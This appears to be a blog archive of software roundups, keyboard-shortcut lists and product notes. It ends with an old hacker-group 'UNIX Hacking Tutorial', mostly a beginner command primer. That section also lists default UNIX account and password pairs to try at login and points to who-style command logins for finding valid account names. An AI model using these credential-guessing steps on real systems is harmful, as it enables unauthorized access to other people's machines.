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2015-05-06T11:39:00.000+07:00

5 Top Scientific Calculators Online Free

2015-05-06T00:19:00.002+07:00

Anyone who works in the field of science or is studying science will need to perform various calculations on a daily basis. Just about every self-respecting scientist has a scientific calculator of their choice or some type of applications that they prefer, but these calculating devices are not always handy. For example, sometimes you might have to do calculations when you are out of the office or you simply don’t have these tools at your disposal.

In situations such as this, web applications can come in really handy. Here is a list of five fantastic web applications that provide access to great online scientific calculators that all engineers, chemists, mathematicians and statisticians can use on the go.

1. Google

Google is an excellent tool for performing simple calculations. All you need to do is type the word “calculator” in the search box. A calculator will appear, allowing you to perform just about any calculation you need, including more sophisticated functions like working with logarithms, trigonometric functions and more.

2. Wolfram Alpha

If Google’s calculator is not advanced enough for you, you should check out Wolphram Alpha, the knowledge search engine. This tool is pretty amazing. Type in an equation and you’ll get a solution immediately. Or just paste a function into the search engine and you’ll be presented with its graphical representation, properties and alternative definitions, all in a matter of seconds.

3. Eeweb calculator

Eeweb calcultor is a free tool developed by and for the electrical engineering community. It is pretty simple to use and will probably fulfill all of your calculating needs. In the right-hand box, you’ll be presented with a list of all scientific constants, which you can immediately use in your calculations. Also, you can perform on-the-spot conversions between various metrics used for length, speed, force, mass and much more. There is also an equation-solver which is pretty intuitive and fast.

4. Web 2.0 calc

On first look, the Web 2.0 calc does not look like it can do much, but check the bottom menu to see all of its calculating powers. It is an excellent tool that enables you to calculate a matrix, solve equations, and perform calculations with fractions.

5. GraphCalculator

Graphcalculator is a pretty simple tool. It allows you to perform an analysis of functions in the coordinate system. Enter functions and they will be visually represented with the ability to calculate plot and intersection points as well.

From : http://blog.cometdocs.com/5-great-online-scientific-calculators

5 Top Software for Interior Designers

2015-05-06T00:18:00.004+07:00

The great thing about technology is that it often has the ability to make peoples’ jobs easier. Technology strives to enable people to reach goals quickly and more efficiently than it was possible in the past. These trends can be seen in all types of professional software, interior design-related software included.

Not only do these new software solutions make it easier for professionals to work, they are intuitive enough to be used by amateurs who want to try their hands at interior design. Here are five fantastic interior design software solutions available for design professionals and novices alike.
Punch! Home & Landscape Design
This is one of the easiest to use options for people with no prior experience in interior design, but it is also sophisticated enough to satisfy any professional. Unlike most software that is limited to your living space, this one also provides options for landscaping and making your yard look wonderful as well. Whether you are looking to make additions to your home, refurbish a room or put a pond in your backyard, you can plan it all out using this software.
3D SPACER
Here is a fantastic tool for interior designers who sell their own furniture and household accessories. You can load your products into this software and then allow your clients to design their rooms and homes using your furniture. Once the furniture is in, the colors, windows, doors and other aspects of the design can be inserted as well in order to give a realistic representation of what the room would look like.
Sweet Home 3D
If you are looking for software that can be used both as a downloadable desktop software and as an online tool, this one is for you. It is very easy to use and has a sleek interface that beginners can get a hold of right away. If you don’t want to install anything onto your computer, the online version of the tool is just as effective and simple to work with.
Palette Cad
Interior designers looking for software that is not only full-featured by also easy enough to use so that learning how to use it doesn’t take your focus away from your actual job, should check out Palette Cad. The interface is incredibly well designed and it allows you to work while you are learning how to use the software. The features are plentiful and let you get very creative with any and every room in the house you are designing.
Autodesk Homestyler
Homestyler is packed with features and can be used online for no cost at all. It’s a great software for everything from simple remodeling to building a home from the ground up. And if you are looking for some inspiration, you can go to their website and browse some of the interior design ideas that other people have uploaded.

From : http://blog.cometdocs.com/5-great-software-options-for-interior-designers

7 Great Task Management Services

2015-05-06T00:17:00.004+07:00

Now with more people than ever working on tasks collaboratively in an online setting, it’s getting harder to keep everyone on the same page. Thankfully, there are a plenty of services out now that have been created to help teams work together effectively in such a setting.

Here are seven of the best task management tools that can make collaborating with team members online a lot easier, more manageable and less time consuming and confusing.

1. Do.com

Do.com is one of the most popular services for task management because of its elegantly designed and easy-to-use platform. It allows you to create, assign and track tasks, and the interface is by far the simplest to grasp and start using right off the bat. This service also supports Apple and Android apps that allow you to manage these tasks on-the-go from your smartphone of choice.

2. Teambox

This is one of the best services for working on team projects. It allows you to remotely create tasks, share them and comment on the progress as the project unfolds. Teambox is also a great tool for helping a team stick to their goals and deadlines. Another great feature of Teambox is that it is easily integrated with other collaborative sharing services like Google Drive and Dropbox.

3. Trello

This service is one of the best in terms of organization. If you have a lot of pending projects and you need to organize them by priority and make sure that everything gets done, Trello is one of the best services to use. The drag and drop interface allows you to distribute various attachments to your team with ease and it is yet another service that perfectly syncs with Google Drive – a service just about every collaborative team uses on an everyday basis.

4. Wunderlist

Wunderlist is one of the most-used task management services worldwide, because it is truly international. The service is available in 33 different languages. All created tasks are synced to the cloud and you are able to create a unique link for sharing the project with the people of your team exclusively. This feature is good when you are working on several projects with several different teams at once.

5. Producteev

This service is great because it is a fantastic tool not only for organizing your team, but for organizing yourself as well. It’s one of the best task management services for never forgetting obligations or missing deadlines. If you are someone who likes everything to be neat and supremely organized and filed by date created, date assigned and date due, then Producteev is for you.

6. Gantter

This tool is specially designed with the small business owner or home business in mind. If you are using Microsoft Project for managing tasks and would like to switch over to Gantter, you can export your MPP files and save them in the XML format so that they are more easily shared and able to be saved on Google Drive as well. Gantter enables you to save projects locally or on their cloud servers.

7. Freedcamp

The best think about this task management service is how customizable it is. Freedcamp offers a lot of tools, but it allows you to pick and choose only the ones you need and use regularly, which helps get rid of any clutter that mike make task management more stressful than it needs to be. You will receive basic apps when you sign up, like a to-do list, milestones and discussions – then will be able to add any other apps you may need in the future.

With so many excellent task management services available now, it’s easy to find one that suits you perfectly and enables you to get your projects finished in a timely and effective manner while avoiding the hassles and stress that collaborations can sometimes entail.

4 Tips for making reading on your computer easier

2015-05-06T00:16:00.005+07:00

As technology continues to evolve, it seems that physical books and even paper are being replaced by the ability to read electronic documents on your computer, tablet or phone. Books, magazines and all other types of reading materials are now readily available in electronic formats. This is not only happening because of the mobility and convenience that this adds, but it’s also good as a way to converse and save paper and natural resources.

And there are not many things that you can do with a physical book or magazine that you cannot do with an electric one. You can make notes and annotations in electronic documents like PDFs, take them with you, distribute them easily to others, and electronic formats even give you a lot of advantages that physical reading materials do not.

There is one great disadvantage that does come with reading on the computer, however, and that is the strain on your eyes that results from doing so. Sure, there are many E-book readers that have specially designed screens that are easier on the eyes, but that’s not the case with computers and laptops – especially when reading for extended periods of time.

It has been proven through studies that reading words on paper is much more enjoyable and easy on the eyes than reading on the screen of an electronic device, but the convenience of using electronic formats will demand more and more that we get used to reading from a computer screen.

Here are some tips for reading on a computer that can help you to put less strain on your eyes and become able to read more comfortably for longer periods of time.

Adjust your screen’s light options

Getting your lighting options just the way you need them can really be a life-saver when it comes to reading on a computer or tablet. A quick rule of thumb is to adjust the lighting according to the light that is in the room at the moment. At lot of people believe that the screen needs to be at its brightest when it’s dark, but that’s not true at all. It will be much easier on your eyes if you are turning down the light as it gets darker in your room.

There is a program called Flux, which can automatically adjust the lighting of your screen according to the amount of light that is in your room where you are reading. It’s a great tool that makes the process of adjusting light automatic and helps you to rest your eyes when reading on your computer.

Adjust your font sizes

One advantage that reading electronic formats has over paper is that you can change the size of the fonts on the PDF or other type of electronic document that you are reading. All E-books and of course, computers, have these options for tailoring the fonts to your liking in terms of size and design. Even web browsers feature options for changing your font sizes. If you are straining to read small fonts, make the changes and help rest your eyes. You shouldn’t be putting any more effort into reading than you really need to, and that is why you should take the time to make the fonts the perfect size for you.

Minimize your distractions

When you are reading a book, there is nothing within the book that can take your attention away from what you are reading. But if you are reading on a computer or E-book – the Internet can be your concentration’s worst nightmare. It’s incredibly hard to focus on what you are reading when you have browsers, email clients and chat services open at all times. If you really want to read effectively on a computer or tablet, remove all of these distractions. If you are on a mobile device like a tablet or laptop, turn off the Internet so that you do not even have the chance to be distracted by it.

Read with more focus

One of the biggest problems with reading PDFs and other electronic formats is the fact that you can’t really flip back through the documents as quickly as you can when reading a book. Also, trying to remember where you left off when reading is not as easy as when reading a physical book. However, there is an excellent way to get Adobe Reader to remember where you have left off in your reading and allow you to pick up at your last read page immediately. Most E-book readers also offer you the option of “bookmarking” where you have left off. If you are reading a website or a Word document that doesn’t give you these types of options, be sure to make a note of where you left off so you don’t have to spend unnecessary effort on trying to find your place.

Convert images (jpg, png, gif) to Text, Word or Excel format with Cometdocs

2015-05-06T00:11:00.001+07:00

With the rise of mobile scanning devices, everyone can now scan a document into an image, and save it for further use. However, the text that is trapped inside scanned images in formats such as jpg, png, tiff, etc. can not easily be recovered. A special optical character recognition technology is needed to be able to make that text reusable and editable.

Having that in mind, Cometdocs has implemented new conversion types, which enable users to convert images into text, Word or Excel format.

The conversion quality is high, and the recognition technology is one of the best available on the market.

Keep in mind that the quality of conversion will depend on the clearness of the text in the image. So if the image is blurry and the symbols are barely visible, no recognition engine will be able to accurately convert them. Also if you used the mobile scanned for scanning, make sure that the document was in a straight position, without being sidelined.

The supported image formats are jpg, jpeg, png, tiff and gif. The conversion process is the same, simply upload the image into Clipboard.

Drag it into the Convert tab, and after that choose one of the offered formats. The options for formats are txt, docx and xlsx.

And that is it! Feel free to let us know how you like this new conversion format and stay tuned for more changes.

10 Tools to Create Comics Online Free

2015-05-06T00:10:00.000+07:00

1) Make Beliefs Comix

This is easily one of the most popular comic sites around. It is so popular because not only do the comics look great, but they are also very easy to create. There are options that give you enough of a range where both children and adults will be able to use the site to make comics that are relevant to them. It is also increasingly popular because it is available in many languages and the site is always looking to ad new ones as well to their options.

Because it is so easy to use and so simple in nature, you might find it limiting if you are trying to get some more abstract idea across, and the colors that are offered are also fairly limited, especially for the background of your pictures.
is easy enough for children to use, but there are enough options for adults to get a message across, too. Users can choose from 25 characters to fill a two-, three-, or four-paneled comic strip. Currently, the site supports typing in seven different languages. There are plans to add Chinese, Japanese, and Korean characters in the future.

2) Pixton

The best part about this site is that there are three comic-making sections. One is for having fun, one is for children and educational purposes, and the third is for business needs. It is very easy to use as well, all you do is drag and drop into the comic what you want to see there. It is one of the most advanced sites as far as customization is concerned, and there are literally endless choices for tweaking your comic and making it come out exactly the way you envisioned it.

3) MarvelKids

If there is a company that knows something about comics, then I am pretty sure that this company is marvel. It’s no surprise that its comic creation site is great as well, even though it’s simplistic. One thing that is great is that there are tons of different panels you can use, so you are not constricted to the usual and boring boxes that most comics use. The characters you can choose from, of course, are all of the famous Marvel heroes and villains, including the Incredible Hulk and Wolverine. Also, you can do fairly interested and in-depth comics at this site, since it offers you the option of going as long as 22 pages. If you like making comics with these famed Marvel heroes, you’ll love it, but if you want to do something more original, then this is not the site you are looking for – go elsewhere.

4) ToonDoo

This is probably one of the best sites if you are looking for both versatility and ease of use. It allows you to be creative and really make the comic original, but it is also very user friendly as well. There is a huge library of images and characters that you can use, and the tools are very simple to implement and navigate. There are two tools of significance at ToonDoo, the TraitR tool, which helps you to customize your characters, and the DoodlR tool, which allows you to paint freely within the comic.

5) Strip Generator

There’s no room really at this site to work on your own style, but the characters that are offered are great to jot down some quick office humor and share it with your coworkers. One thing that is great about the site is that you are able to adjust the frames and make them longer and wider if you need to.

6) Chogger

Chogger is great because it lets you draw images from scratch if you do not want to use the images that are already available on the site. Another great feature you get with the site is that it allows you to connect your webcam and capture pictures that you can use in your comic strips. The frames at Chogger can also be customized to suit your needs very easily.

7) Pikistrips

This is one of the more creative sites. At Pikistrips, you take a photo of yourself or other people and then turn these photos into comic strips. Just upload the pictures and then you can mess around with them and decorate the pictures. You can add different hairstyle, facial hair, scars, hats, and other stuff to your pictures, and of course, text bubbles for dialogue.

8) Witty Comics

This is a simple comic that is most often used by people who are more interested in the dialogue than the actual pictures. The comics are pre-drawn scenes that are fairly simple and to the point, it is up to you to put some interesting commentary in there to spice them up. This is perfect for writers that want to practice their dialogue and story telling – letting the words speak more than the images.

9) Artisan Cam

Artisan Cam is a very interest site that has a lot of different art-related online activities, and it’s a great site for teachers to use in order to get creative with their students. The comic maker on the site is excellent and allows you to build short and sweet, six-frame comics with an easy-to-use drag and drop interface.

10) Write Comics

Write Comics is another simple to use and fun online comic. The process is very logical and simple to follow – first select a background, then choose characters, and then complete the story with speech bubbles. It’s biggest shortcoming is that the only way you can save your work is by copying it to your computer – it does not have its own online database where you can save your work and share it with friends instantaneously.

Keyboard Shortcuts for Sony Vegas

2015-05-05T10:25:00.001+07:00

For SOny Vegas 10 Download here
For SOny Vegas 12 Download here

Download Sony Vegas 13 here

Keyboard Shortcuts For After Effects

2015-05-05T10:19:00.003+07:00

Layer Transformation Shortcuts
A - Anchor Point
T – Opacity
U – All
P - Position
S – Scale
R – Rotation

Masks
MM - All Mask Settings
M – Mask Path
F - Mask Feather
TT - Mask Opacity

General Shortcuts
Cmnd + Z – Undo
Cmnd + N – New Composition
Cmnd + K – Composition Settings
Cmnd + I - Import
Cmnd + Y – New Solid
Shift + Cmnd + Y = Solid Settings

Toolbar Shortcuts
Q – Shape Tool
G – Pen Tool
Y – Pan Behind Tool
Cmnd + T – Type Tool
Cmnd + B – Brush Tool/Clone Stamp Tool/Eraser Tool

Tips & Tricks
Shift + Drag – Snapping
B - Sets beginning of your workspace in the timeline based on the position of the playhead
N - Sets the end of your workspace in the timeline based on the position of the playhead
~ - Makes your current panel fullscreen. Press again and it will return to it's previous place in the workspace.
Press and hold the space bar to temporarily switch to the hand tool.

Keyboard Shortcuts for Adobe Photoshop

2015-04-16T09:02:00.002+07:00

File
Ctrl+N	New...
Ctrl+O	Open...
Alt+Ctrl+O Shft+Ctrl+O	Browse...
Alt+Shft+Ctrl+O	Open As...
Shft+Ctrl+M	Edit in ImageReady
Ctrl W	Close file in Photoshop
Alt+Ctrl+W	Close All
Shft+Ctrl+W	Close and Go To Bridge...
Ctrl S	Save a file in Photoshop
Shft+Ctrl+S Alt+Ctrl+S	Save As...

Save a Version in Photoshop
Alt+Shft+Ctrl+S	Save for Web...
F12	Revert
Alt+Shft+Ctrl+I	File Info...
Shft+Ctrl+P	Page Setup...
Alt Ctrl P	Print with Preview in Photoshop
Ctrl+P	Print...
Alt Shft Ctrl P	Print One Copy in Photoshop

rint Online...
Ctrl+Q	Exit

Photoshop Edit
Ctrl Z	Undo/Redo in Photoshop
Shft Ctrl Z	Step Forward in Photoshop
Alt+Ctrl+Z	Step Backward
Shft+Ctrl+F	Fade...
Ctrl+X F2	Cut
Ctrl+C F3	Copy
Shft+Ctrl+C	Copy Merged
Ctrl+V F4	Paste
Shft+Ctrl+V	Paste Into
Shft+F5	Fill...
Ctrl T	Free Transform in Photoshop

Transform
Shft+Ctrl+T	Again
Shft+Ctrl+K	Color Settings...
Alt Shft Ctrl K	Keyboard Shortcuts in Photoshop
Alt+Shft+Ctrl+M	Menus...


Preferences
Ctrl+K	General...

Adjustments
Ctrl+L	Levels...
Shft+Ctrl+L	Auto Levels
Alt Shft Ctrl L	Auto Contrast in Photoshop
Shft+Ctrl+B	Auto Color
Ctrl+M	Curves...
Ctrl+B	Color Balance...
Ctrl+U	Hue/Saturation...
Shft+Ctrl+U	Desaturate
Alt+Ctrl+I	Image Size...
Alt Ctrl C	Canvas Size in Photoshop

New
Shft+Ctrl+N	Layer...
Ctrl+J	Layer via Copy
Shft+Ctrl+J	Layer via Cut
Alt+Ctrl+G	Create/Release Clipping Mask
Ctrl+G	Group Layers
Shft Ctrl G	Ungroup Layers in Photoshop
Shft Ctrl ]	Bring to Front in Photoshop
Ctrl+]	Bring Forward
Ctrl+[	Send Backward
Shft+Ctrl+[	Send to Back
Ctrl+E	Merge Layers
Shft Ctrl E	Merge Visible in Photoshop


Select
Ctrl+A	All
Ctrl+D	Deselect
Shft+Ctrl+D	Reselect
Shft+Ctrl+I Shft+F7	Inverse
Alt+Ctrl+A	All Layers
Alt+Ctrl+D Shft+F6	Feather...

Filter
Ctrl+F	Last Filter
Alt+Ctrl+X	Extract...
Shft+Ctrl+X	Liquify...
Alt+Shft+Ctrl+X	Pattern Maker...
Alt+Ctrl+V	Vanishing Point...

Proof Setup
Ctrl+Y	Proof Colors
Shft+Ctrl+Y	Gamut Warning
Ctrl++ Ctrl+=	Zoom In
Ctrl+-	Zoom Out
Ctrl+0	Fit on Screen
Alt+Ctrl+0	Actual Pixels
Ctrl+H	Extras


Show>
Shft+Ctrl+H	Target Path
Ctrl+'	Grid
Ctrl+;	Guides
Ctrl+R	Rulers
Shft+Ctrl+;	Snap
Alt+Ctrl+;	Lock Guides
Alt+F9 F9	Actions
F5	Brushes in Photoshop
F6	Color
F8	Info
F7	Layers

Photoshop Help
F1	Photoshop Help

Photoshop Animation
Alt+Shft+Ctrl+F	New Frame

Photoshop History
Shft+Ctrl+Z	Step Forward
Alt+Ctrl+Z	Step Backward

Photoshop Layers
Shft+Ctrl+N	New Layer...
Alt+Ctrl+G	Create/Release Clipping Mask
Ctrl E	Merge Layers in Photoshop
Shft+Ctrl+E	Merge Visible

Tools
Shortcut	Tools
M	Rectangular Marquee Tool
M	Elliptical Marquee Tool
V	Move Tool
L	Lasso Tool
L	Polygonal Lasso Tool
L	Magnetic Lasso Tool
W	Magic Wand Tool
C	Crop Tool
K	Slice Tool
K	Slice Select Tool
J	Spot Healing Brush Tool
J	Healing Brush Tool
J	Patch Tool
J	Red Eye Tool
B	Brush Tool
B	Pencil Tool
B	Color Replacement Tool
S	Clone Stamp Tool
S	Pattern Stamp Tool
Y	History Brush Tool
Y	Art History Brush
E	Eraser Tool
E	Background Eraser Tool
E	Magic Eraser Tool
G	Gradient Tool
G	Paint Bucket Tool
R	Blur Tool
R	Sharpen Tool
R	Smudge Tool
O	Dodge Tool
O	Burn Tool
O	Sponge Tool
A	Path Selection Tool
A	Direct Selection Tool
T	Horizontal Type Tool
T	Vertical Type Tool
T	Horizontal Type Mask Tool
T	Vertical Type Mask Tool
P	Pen Tool
P	Freeform Pen Tool
U	Rectangle Tool
U	Rounded Rectangle Tool
U	Ellipse Tool
U	Polygon Tool
U	Line Tool
U	Custom Shape Tool
N	Notes Tool
N	Audio Annotation Tool
I	Eyedropper Tool
I	Color Sampler Tool
I	Measure Tool
H	Hand Tool
Z	Zoom Tool
D	Default Foreground/Background Colors
X	Switch Foreground/Background Colors
Q	Toggle Standard/Quick Mask Modes
F	Toggle Screen Modes
/	Toggle Preserve Transparency
[	Decrease Brush Size
]	Increase Brush Size
{	Decrease Brush Hardness
}	Increase Brush Hardness
,	Previous Brush
.	Next Brush
<	First Brush
>	Last Brush

Make Comic Easier

2010-10-28T16:28:00.001+07:00

Do you like comic?? Now, you can make very easier using Comic Life. You can get it or download from http://www.4shared.com or http://www.comiclife.com/

UNIX Hacking Tutorial

2010-10-28T16:24:00.000+07:00

This phile is geared as an UNIX tutorial at first, to let you get more familiar with the operating system. UNIX is just an operating system, as is MS-DOS, AppleDOS, AmigaDOS, and others. UNIX happens to be a multi-user-multi-tasking system, thus bringing a need for security not found on MSDOS,AppleDOS, etc. This phile will hopefully teach the beginners who do not have a clue about how to use UNIX a good start, and may hopefully teach old pros something they didn't know before. This file deals with UNIX SYSTEM V and its variants. When I talk about unix, its usually about SYSTEM V (rel 3.2).

Where Can I be found? I have no Idea. The Boards today are going Up'n'Down so fast, 3 days after you read this file, if I put a BBS in it where you could reach me, it may be down! Just look for me.

I can be reached on DarkWood Castle [If it goes back up], but that board is hard to get access on, but I decided to mention it anyway.

I *COULD* Have been reached on jolnet, but......

This file may have some bad spelling, etc, or discrepencies since it was spread out over a long time of writing, because of school, work, Girl friend, etc. Please, no flames. If you don't like this file, don't keep it.

This is distributed under PHAZE Inc. Here are the members (and ex ones)

The Dark Pawn

The Data Wizard

Sir Hackalot (Me)

Taxi (ummm.. Busted)

Lancia (Busted)

The British Knight (Busted)

The Living Pharoah (Busted)

_____________________________________________________________________________

-------------

o Dedication:

-------------

This phile is dedicated to the members of LOD that were raided in

Atlanta. The members that got busted were very good hackers, especially

The Prophet. Good luck to you guys, and I hope you show up again somewhere.

_____________________________________________________________________________

------------------------

o A little History, etc:

------------------------

UNIX, of course, was invented By AT&T in the 60's somewhere, to be

"a programmer's operating system." While that goal was probably not reached

when they first invented UNIX, it seems that now, UNIX is a programmer's OS.

UNIX, as I have said before, is a multi-tasking/multi-user OS. It is also

written in C, or at least large parts of it are, thus making it a portable

operating system. We know that MSDOS corresponds to IBM/clone machines,

right? Well, this is not the case with UNIX. We do not associate it with

any one computer since it has been adapted for many, and there are many

UNIX variants [that is, UNIX modified by a vendor, or such]. Some AT&T

computers run it, and also some run MSDOS [AT&T 6300]. The SUN workstations

run SunOS, a UNIX variant, and some VAX computers run Ultrix, a VAX version

of UNIX. Remember, no matter what the name of the operating system is [BSD,

UNIX,SunOS,Ultrix,Xenix, etc.], they still have a lot in common, such as the

commands the operating system uses. Some variants may have features others

do not, but they are basically similar in that they have a lot of the same

commands/datafiles. When someone tries to tell you that UNIX goes along with

a certain type of computer, they may be right, but remember, some computers

have more than one Operating system. For instance, one person may tell you

that UNIX is to a VAX as MSDOS is to IBM/clones. That is untrue, and the

only reason I stated that, was because I have seen many messages with info

/comparisons in it like that, which confuse users when they see a VAX running

VMS.

____________________________________________________________________________

-------------------------------

o Identifying a Unix/Logging in

-------------------------------

From now on, I will be referring to all the UNIX variants/etc as

UNIX, so when I say something about UNIX, it generally means all the variants

(Unix System V variants that is: BSD, SunOS, Ultrix, Xenix, etc.), unless

I state a variant in particular.

Okay. Now its time for me to tell you how a unix USUALLY greets you.

First, when you call up a UNIX, or connect to one however you do, you will

usually get this prompt:

Ok. Thats all fine and dandy. That means that this is PROBABLY a Unix,

although there are BBS's that can mimic the login procedure of an OS

(Operating System), thus making some people believe its a Unix. [Hah!].

Some Unixes will tell you what they are or give you a message before a

Welcome to SHUnix. Please log in.

Or something like that. Public access Unixes [like Public BBSs] will

tell you how to logon if you are a new users. Unfortunatly, this phile is

not about public access Unixes, but I will talk about them briefly later, as

a UUCP/UseNet/Bitnet address for mail.

OK. You've gotten to the login prompt! Now, what you need to do

here is enter in a valid account. An Account usually consists of 8 characters

or less. After you enter in an account, you will probably get a password

prompt of some sort. The prompts may vary, as the source code to the login

program is usually supplied with UNIX, or is readily available for free.

Well, The easiest thing I can say to do to login is basically this:

Get an account, or try the defaults. The defaults are ones that came with

the operating system, in standard form. The list of some of the Defaults

are as follows:

ACCOUNT PASSWORD

------- --------

root root - Rarely open to hackers

sys sys / system / bin

bin sys / bin

mountfsys mountfsys

adm adm

uucp uucp

nuucp anon

anon anon

user user

games games

install install

reboot * See Below

demo demo

umountfsys umountfsys

sync sync

admin admin

guest guest

daemon daemon

The accounts root, mountfsys, umountfsys, install, and sometimes sync are

root level accounts, meaning they have sysop power, or total power. Other

logins are just "user level" logins meaning they only have power over what

files/processes they own. I'll get into that later, in the file permissions

section. The REBOOT login is what as known as a command login, which just

simply doesn't let you into the operating system, but executes a program

assigned to it. It usually does just what it says, reboot the system. It

may not be standard on all UNIX systems, but I have seen it on UNISYS unixes

and also HP/UX systems [Hewlett Packard Unixes]. So far, these accounts have

not been passworded [reboot], which is real stupid, if you ask me.

COMMAND LOGINS:

---------------

There are "command logins", which, like reboot, execute a command then log

you off instead of letting you use the command interpreter. BSD is notorious

for having these, and concequently, so does MIT's computers. Here are some:

rwho - show who is online

finger - same

who - same

These are the most useful, since they will give the account names that are

online, thus showing you several accounts that actually exist.

Errors:

-------

When you get an invalid Account name / invalid password, or both, you will

get some kind of error. Usually it is the "login incorrect" message. When

the computer tells you that, you have done something wrong by either enterring

an invalid account name, or a valid account name, but invalid password. It

does not tell you which mistake you made, for obvious reasons. Also,

when you login incorrectly, the error log on the system gets updated, letting

the sysops(s) know something is amiss.

Another error is "Cannot change to home directory" or "Cannot Change

Directory." This means that no "home directory" which is essentially the

'root' directory for an account, which is the directory you start off in.

On DOS, you start in A:\ or C:\ or whatever, but in UNIX you start in

/homedirectory. [Note: The / is used in directories on UNIX, not a \ ].

Most systems will log you off after this, but some tell you that they will

put you in the root directory [ '/'].

Another error is "No Shell". This means that no "shell" was defined

for that particular account. The "shell" will be explained later. Some

systems will log you off after this message. Others will tell you that they

will use the regular shell, by saying "Using the bourne shell", or "Using sh"

-----------------------------

Accounts In General :

-----------------------------

This section is to hopefully describe to you the user structure

in the UNIX environment.

Ok, think of UNIX having two levels of security: absolute power,

or just a regular user. The ones that have absolute power are those users

at the root level. Ok, now is the time to think in numbers. Unix associates

numbers with account names. each account will have a number. Some will have

the same number. That number is the UID [user-id] of the account. the root

user id is 0. Any account that has a user id of 0 will have root access.

Unix does not deal with account names (logins) but rather the number

associated with them. for instance, If my user-id is 50, and someone else's

is 50, with both have absolute power of each other, but no-one else.

_____________________________________________________________________________

---------------

Shells :

---------------

A shell is an executable program which loads and runs when a user

logs on, and is in the foreground. This "shell" can be any executable prog-

ram, and it is defined in the "passwd" file which is the userfile. Each

with is a command interpreter. A command interpreter is simply something

like MSDOS's COMMAND.COM, which processes commands, and sends them to the

kernel [operating system]. A shell can be anything, as I said before,

but the one you want to have is a command interpreter. Here are the

usual shells you will find:

sh - This is the bourne shell. It is your basic Unix "COMMAND.COM". It has

a "script" language, as do most of the command interpreters on Unix sys-

tems.

csh - This is the "C" shell, which will allow you to enter "C" like commands.

ksh - this is the korn shell. Just another command interpreter.

tcsh - this is one, which is used at MIT I believe. Allows command editing.

vsh - visual shell. It is a menu driven deal. Sorta like.. Windows for DOS

rsh - restricted shell OR remote shell. Both Explained later.

There are many others, including "homemade " shells, which are

programs written by the owner of a unix, or for a specific unix, and they

are not standard. Remember, the shell is just the program you get to use

and when it is done executing, you get logged off. A good example of a

homemade shell is on Eskimo North, a public access Unix. The shell

is called "Esh", and it is just something like a one-key-press BBS,

but hey, its still a shell. The Number to eskimo north is 206-387-3637.

[206-For-Ever]. If you call there, send Glitch Lots of mail.

Several companies use Word Processors, databases, and other things

as a user shell, to prevent abuse, and make life easier for unskilled computer

operators. Several Medical Hospitals use this kind of shell in Georgia,

and fortunatly, these second rate programs leave major holes in Unix.

Also, a BBS can be run as a shell. Check out Jolnet [312]-301-2100, they

give you a choice between a command interpreter, or a BBS as a shell.

WHen you have a command interpreter, the prompt is usually a:

when you are a root user the prompt is usually a:

The variable, PS1, can be set to hold a prompt.

For instance, if PS1 is "HI:", your prompt will be:

HI:

_____________________________________________________________________________

------------------------

SPecial Characters, ETc:

------------------------

Control-D : End of file. When using mail or a text editor, this will end

the message or text file. If you are in the shell and hit control-d you get

logged off.

Control-J: On some systems, this is like the enter key.

@ : Is sometimes a "null"

? : This is a wildcard. This can represent a letter. If you specified

something at the command line like "b?b" Unix would look for bob,bib,bub,

and every other letter/number between a-z, 0-9.

* : this can represent any number of characters. If you specified a "hi*"

it would use "hit", him, hiiii, hiya, and ANYTHING that starts with

hi. "H*l" could by hill, hull, hl, and anything that starts with an

H and ends with an L.

[] - The specifies a range. if i did b[o,u,i]b unix would think: bib,bub,bob

if i did: b[a-d]b unix would think: bab,bbb,bcb,bdb. Get the idea? The

[], ?, and * are usually used with copy, deleting files, and directory

listings.

EVERYTHING in Unix is CASE sensitive. This means "Hill" and "hill" are not

the same thing. This allows for many files to be able to be stored, since

"Hill" "hill" "hIll" "hiLl", etc. can be different files. So, when using

the [] stuff, you have to specify capital letters if any files you are dealing

with has capital letters. Most everything is lower case though.

----------------

Commands to use:

----------------

Now, I will rundown some of the useful commands of Unix. I will act

as if I were typing in the actual command from a prompt.

ls - this is to get a directory. With no arguments, it will just print out

file names in either one column or multi-column output, depending on the

ls program you have access to.

example:

$ ls

hithere

runme

note.text

src

the -l switch will give you extended info on the files.

$ ls -l

rwx--x--x sirhack sirh 10990 runme

and so on....

the "rwx--x--x" is the file permission. [Explained Later]

the "sirhack sirh" is the owner of the file/group the file is in.

sirhack = owner, sirh = user-group the file is in [explained later]

the 10990 is the size of the file in bytes.

"runme" is the file name.

The format varies, but you should have the general idea.

cat - this types out a file onto the screen. should be used on text files.

only use it with binary files to make a user mad [explained later]

ex:

$ cat note.txt

This is a sample text file!

cd - change directory . You do it like this: cd /dir/dir1/dir2/dirn.

the dir1/etc.... describes the directory name. Say I want to get

to the root directory.

ex:

$ cd /

*ok, I'm there.*

$ ls

bin

sys

etc

temp

work

usr

all of the above are directories, lets say.

$ cd /usr

$ ls

sirhack

datawiz

prophet

src

violence

par

phiber

scythian

$ cd /usr/sirhack

$ ls

hithere

runme

note.text

src

ok, now, you do not have to enter the full dir name. if you are in

a directory, and want to get into one that is right there [say "src"], you

can type "cd src" [no "/"]. Instead of typing "cd /usr/sirhack/src" from the

sirhack dir, you can type "cd src"

cp - this copies a file. syntax for it is "cp fromfile tofile"

$ cp runme runme2

$ ls

hithere

runme

note.text

src

runme2

Full pathnames can be included, as to copy it to another directory.

$ cp runme /usr/datwiz/runme

mv - this renames a file. syntax "mv oldname newname"

$ mv runme2 runit

$ ls

hithere

runme

note.text

src

runit

files can be renamed into other directories.

$ mv runit /usr/datwiz/run

$ ls

hithere

runme

note.text

src

$ ls /usr/datwiz

runme

run

pwd - gives current directory

$ pwd

/usr/sirhack

$ cd src

$ pwd

/usr/sirhack/src

$ cd ..

$ pwd

/usr/sirhack

[ the ".." means use the name one directory back. ]

$ cd ../datwiz

[translates to cd /usr/datwiz]

$ pwd

/usr/datwiz

$ cd $home

[goto home dir]

$ pwd

/usr/sirhack

rm - delete a file. syntax "rm filename" or "rm -r directory name"

$ rm note.text

$ ls

hithere

runme

src

write - chat with another user. Well, "write" to another user.

syntax: "write username"

$ write scythian

scythian has been notified

Hey Scy! What up??

Message from scythian on tty001 at 17:32

hey!

me: So, hows life?

scy: ok, I guess.

me: gotta go finish this text file.

scy: ok

me: control-D [to exit program]

who [w,who,whodo] - print who is online

$ who

scythian + tty001 17:20

phiberO + tty002 15:50

sirhack + tty003 17:21

datawiz - tty004 11:20

glitch - tty666 66:60

the "who" commands may vary in the information given. a "+" means

you can "write" to their terminal, a "-" means you cannot.

man - show a manual page entry. syntax "man command name" This is a help

program. If you wanted to know how to use... "who" you'd type

$ man who

WHO(1) xxx......

and it would tell you.

